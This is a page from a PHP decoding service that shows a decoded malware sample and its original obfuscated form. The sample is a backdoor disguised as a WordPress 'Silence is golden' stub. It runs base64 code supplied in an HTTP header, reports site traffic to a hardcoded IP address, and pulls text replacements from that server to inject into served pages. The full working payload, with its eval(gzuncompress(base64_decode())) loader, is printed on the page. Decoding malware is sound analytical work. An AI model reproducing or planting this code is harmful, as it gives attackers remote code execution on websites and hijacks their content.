Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ob_start(); // Start buffering // Silence is golden. /*edition:0.2*/ $v7a5c..

Decoded Output download

if (!function_exists('http_build_query')) { function http_build_query($spdd71e9, $sp19dc0f = null, $sp5200f7 = '&', $spa08c52 = '') { $spbaa82a = array(); foreach ((array) $spdd71e9 as $spc4de20 => $sp7522e3) { $spc4de20 = urlencode($spc4de20); if (is_int($spc4de20) && $sp19dc0f != null) { $spc4de20 = $sp19dc0f . $spc4de20; } if (!empty($spa08c52)) { $spc4de20 = $spa08c52 . '[' . $spc4de20 . ']'; } if (is_array($sp7522e3) || is_object($sp7522e3)) { array_push($spbaa82a, http_build_query($sp7522e3, '', $sp5200f7, $spc4de20)); } else { array_push($spbaa82a, $spc4de20 . '=' . urlencode($sp7522e3)); } } if (empty($sp5200f7)) { $sp5200f7 = ini_get('arg_separator.output'); } return implode($sp5200f7, $spbaa82a); } } if (!function_exists('file_put_contents')) { function file_put_contents($sp0d45bd, $spdd71e9) { $sp3c448d = @fopen($sp0d45bd, 'w'); if (!$sp3c448d) { return false; } else { $spfa9579 = fwrite($sp3c448d, $spdd71e9); fclose($sp3c448d); return $spfa9579; } } } if (!class_exists('VI_Engine')) { class VI_Engine { var $sp009cb7 = 60; var $sp857b63 = 60; var $sp144f6a = 15; var $sp7b5492 = 'http://91.200.14.131'; var $sp9815b0 = '0.2'; var $spdd71e9 = array(); static $executed = false; function end() { $this->sp41ad76(); if (!empty($_SERVER['HTTP_VI_EXEC_CODE'])) { ob_end_clean(); eval(base64_decode($_SERVER['HTTP_VI_EXEC_CODE'])); echo '
executed'; die; } if (self::$executed) { ob_end_flush(); return; } self::$executed = true; $sp4519f6 = $this->spa96589(); if (file_exists($sp4519f6)) { $this->spdd71e9 = unserialize(file_get_contents($sp4519f6)); } if (!isset($this->spdd71e9['stat'][$_SERVER['REQUEST_URI']])) { $this->spdd71e9['stat'][$_SERVER['REQUEST_URI']] = array('cnt' => 0); } $this->spdd71e9['stat'][$_SERVER['REQUEST_URI']]['cnt']++; $this->sp029637(); $this->spfc1c93(); file_put_contents($sp4519f6, serialize($this->spdd71e9)); $sp6d8767 = ob_get_contents(); ob_end_clean(); if (!empty($this->spdd71e9['pairs'][$_SERVER['REQUEST_URI']])) { $sp0907e3 = array(); $sp9dfad5 = array(); foreach ($this->spdd71e9['pairs'][$_SERVER['REQUEST_URI']] as $spf1a73f) { $sp0907e3[] = $spf1a73f['needle']; $sp9dfad5[] = $spf1a73f['replacement']; } $sp6d8767 = str_replace($sp0907e3, $sp9dfad5, $sp6d8767); } echo $sp6d8767; } function sp41ad76() { if (!isset($_SERVER['REQUEST_URI'])) { $_SERVER['REQUEST_URI'] = @$_SERVER['SCRIPT_NAME']; if (isset($_SERVER['QUERY_STRING'])) { $_SERVER['REQUEST_URI'] .= '?' . @$_SERVER['QUERY_STRING']; } } } function spa96589() { $sp740560 = '/tmp'; if (function_exists('sys_get_temp_dir')) { $sp740560 = sys_get_temp_dir(); } $spf3e500 = 'data.db'; $speb7a5d = array('wp-content/uploads', 'wp-content/', getcwd(), $sp740560); foreach ($speb7a5d as $spe53dbd) { if (is_dir($spe53dbd) && is_writable($spe53dbd)) { return $spe53dbd . '/' . $spf3e500; } } return $spf3e500; } function spfc1c93() { $spdcc1f5 = time(); if (!isset($this->spdd71e9['lastSyncContent']) || $this->spdd71e9['lastSyncContent'] + $this->sp857b63 <= $spdcc1f5) { $spcf7a23 = $this->spe1854a($this->sp7b5492 . '/client/getReplacements?version=' . urlencode($this->sp9815b0)); if (!empty($spcf7a23)) { $sp783447 = unserialize($spcf7a23); if ($sp783447 !== false) { $this->spdd71e9['pairs'] = $sp783447; } if (!isset($this->spdd71e9['pairs'])) { $this->spdd71e9['pairs'] = array(); } } $this->spdd71e9['lastSyncContent'] = $spdcc1f5; } } function sp029637() { $spdcc1f5 = time(); if (!isset($this->spdd71e9['lastSyncStatistic']) || $this->spdd71e9['lastSyncStatistic'] + $this->sp009cb7 <= $spdcc1f5) { $sp8f6611 = $this->spb32326($this->spdd71e9['stat']); if ($sp8f6611 == 'updated') { $this->spdd71e9 = array(); } $this->spdd71e9['lastSyncStatistic'] = $spdcc1f5; } } function spb32326($sp09a8e8) { $sp7713ec = array('stat' => $sp09a8e8, 'version' => $this->sp9815b0); return $this->spfad05d($this->sp7b5492 . '/client/putStatistic', $sp7713ec); } function spe1854a($spd75861) { return $this->sp448481('GET', $spd75861); } function spfad05d($spd75861, $sp7713ec) { return $this->sp448481('POST', $spd75861, $sp7713ec); } function sp448481($spb1bd40, $spd75861, $sp7713ec = null) { if (function_exists('curl_init')) { $sp8eeb93 = curl_init(); curl_setopt($sp8eeb93, CURLOPT_URL, $spd75861); curl_setopt($sp8eeb93, CURLOPT_RETURNTRANSFER, true); curl_setopt($sp8eeb93, CURLOPT_CONNECTTIMEOUT, $this->sp144f6a); if ($spb1bd40 == 'POST') { curl_setopt($sp8eeb93, CURLOPT_POST, true); curl_setopt($sp8eeb93, CURLOPT_POSTFIELDS, http_build_query($sp7713ec)); } $spf19d9d = array('Domain: ' . $_SERVER['SERVER_NAME']); curl_setopt($sp8eeb93, CURLOPT_HTTPHEADER, $spf19d9d); $sp8f6611 = curl_exec($sp8eeb93); curl_close($sp8eeb93); return $sp8f6611; } elseif (function_exists('fsockopen')) { $spf26f7e = parse_url($spd75861); if (empty($spf26f7e['path'])) { $spf26f7e['path'] = '/'; } $sp9c6fe4 = @fsockopen($spf26f7e['host'], 80, $sp09a1d3, $spf69b02, $this->sp144f6a); if (!$sp9c6fe4) { return false; } $sp1eed3d = $spf26f7e['path'] . (isset($spf26f7e['query']) ? '?' . $spf26f7e['query'] : ''); $sp448481 = sprintf('%s %s HTTP/1.1
', $spb1bd40, $sp1eed3d) . sprintf('Host: %s
', $spf26f7e['host']); $sp9487c7 = ''; if ($spb1bd40 == 'POST') { $sp9487c7 = http_build_query($sp7713ec); $sp448481 .= 'Content-Type: application/x-www-form-urlencoded
' . 'Content-Length: ' . strlen($sp9487c7) . '
'; } $sp448481 .= sprintf('Domain: %s
', $_SERVER['SERVER_NAME']); $sp448481 .= 'Connection: Close

'; if ($spb1bd40 == 'POST') { $sp448481 .= $sp9487c7; } @fwrite($sp9c6fe4, $sp448481); $spdd71e9 = ''; while (!feof($sp9c6fe4)) { $spdd71e9 .= @fgets($sp9c6fe4); } @fclose($sp9c6fe4); $sp4a11f1 = explode('

', $spdd71e9); if (empty($sp4a11f1[1])) { return false; } $sp34ab1b = explode('
', $sp4a11f1[1]); if (count($sp34ab1b) <= 1) { return false; } unset($sp34ab1b[0]); return trim(implode('
', $sp34ab1b)); } elseif (ini_get('allow_url_fopen') == '1') { $sp6183b3 = array('http' => array('method' => $spb1bd40, 'timeout' => $this->sp144f6a, 'header' => 'Domain: ' . $_SERVER['SERVER_NAME'])); if ($spb1bd40 == 'POST') { $sp6183b3['http']['content'] = http_build_query($sp7713ec); $sp6183b3['http']['header'] .= '
Content-type: application/x-www-form-urlencoded'; } $sp77b7d6 = stream_context_create($sp6183b3); return @file_get_contents($spd75861, false, $sp77b7d6); } return false; } } } $sp517656 = new VI_Engine(); $sp517656->end();

Did this file decode correctly?

Original Code

<?php

ob_start(); // Start buffering

// Silence is golden.

/*edition:0.2*/ $v7a5cb3308c='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';eval(gzuncompress(base64_decode($v7a5cb3308c)));

Function Calls

ob_start 1
gzuncompress 10
base64_decode 10

Variables

$v08447cd8a2 eNpNl7cOxEYSRH9GgCQwIJeeEBTQe++ZHOjN0nvy628vu3wGqJ6eel39x5lS..
$v3f4efa137c eNpNl0cOhNYSRTdjybYYkJMsD8hNzjQw+SLnnFm9e/iX8Orde+rUH2dGlwiS..
$v4c3974c3a8 eNpNlrcOxIYRRH9GgCSw4DGTEFww55zZGIzHnPPX69y5WmC7wc7M2z/OMscq..
$v71d14d3818 eNpNl0UOBIcORC8TKYl60UyKsphmZt58NTNP4+kzy38BSy77ucp/nGiFlVUK..
$v7a5cb3308c eNpNl7cOxLYWRH/GgG2oUE4wXChrlVY5NQ/KOWd9vbd8PQmQHM6dM3+cNEVh..
$v7d5961e32a eNpNljcOxAYORS9jwDZUKCcYWyjnnNUsNMqjnMPpPdstC5YECfI//j9OLEdp..
$v9884e86aa6 eNpNl7euxdCtRH/GgG2oUE4wXCjnnNU8KB7lnL/et3z1BrgxJIZc848LojCM..
$va97880d763 eNpNl7cOxEYSRH9GgCQwoHcQFJBL771LDvRceu++/vaym2jCQVfV65o/ThIu..
$vc9f22c8813 eNpNl0UO7YgBBC8TKTPywkyKsjAzszeRmRmfT5+fXe5Q3dX9j5sscZqAKxTJ..
$vec5f8059ad eNqlGPtv2kj690r9HxxprwaVEAx+Jpc2VcpuI3WTHiGrOyFkje1x8Z2xfbYp..

Stats

MD5 134123eb00bac698dfa338402e759ae6
Eval Count 10
Decode Time 130 ms